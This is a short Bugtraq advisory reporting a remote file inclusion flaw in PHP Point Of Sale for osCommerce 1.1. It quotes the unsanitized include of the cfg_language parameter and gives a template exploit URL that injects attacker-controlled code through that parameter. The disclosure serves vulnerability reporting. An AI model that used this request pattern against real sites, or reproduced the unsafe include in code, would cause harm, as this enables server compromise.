Bugtraq: PHP Point Of Sale for osCommerce <= (index.php) Remote File Include Vuln

["BorN To K!LL BorN To K!LL" <q.t.i () hotmail com>]

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

PHP Point Of Sale for osCommerce <= (index.php) Remote File Include Vuln

Script: PHP Point Of Sale for osCommerce

Version: 1.1

URL: 
http://puzzle.dl.sourceforge.net/sourceforge/phppointofsale/PHP_Point_Of_Sale_osCommerce_1.1.zip
Discover: BorN To K!LL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

Bug in:
index.php ..... and so on ...

code:
include ("language/$cfg_language");

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

ExploiT:
~~~~~
wWw.SiTe.cOm/[path]/index.php?cfg_language=shitcode?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

GreeTz 2:

Dr.2 - str0ke - AsbMay ....

KuW SeC ..... AsbMay's Group

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/